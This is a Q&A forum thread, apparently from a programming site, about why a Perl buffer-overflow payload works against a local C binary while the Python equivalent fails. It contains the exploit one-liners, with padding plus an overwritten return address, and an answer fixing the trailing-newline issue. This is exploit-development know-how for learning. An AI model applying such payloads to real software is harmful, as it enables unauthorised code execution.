0

I'm trying to exploit a buffer overflow. I don't think it's useful to post my program in C. This exploit work:

(perl -e 'print "a" x 280 . "\xf6\x06\x40\x00\x00\x00\x00\x00"' ; cat) | ./a.out

But this one doesn't

(python -c 'print("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out

I don't see anything different except the language I use. Does anyone can tell me if is there a difference ?

Thanks

1 Answer 1

1

Yes, there is a difference. Perl's print function doesn't print a newline by default, while Python's does. In Python, try:

(python -c 'import sys ; sys.stdout.write("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.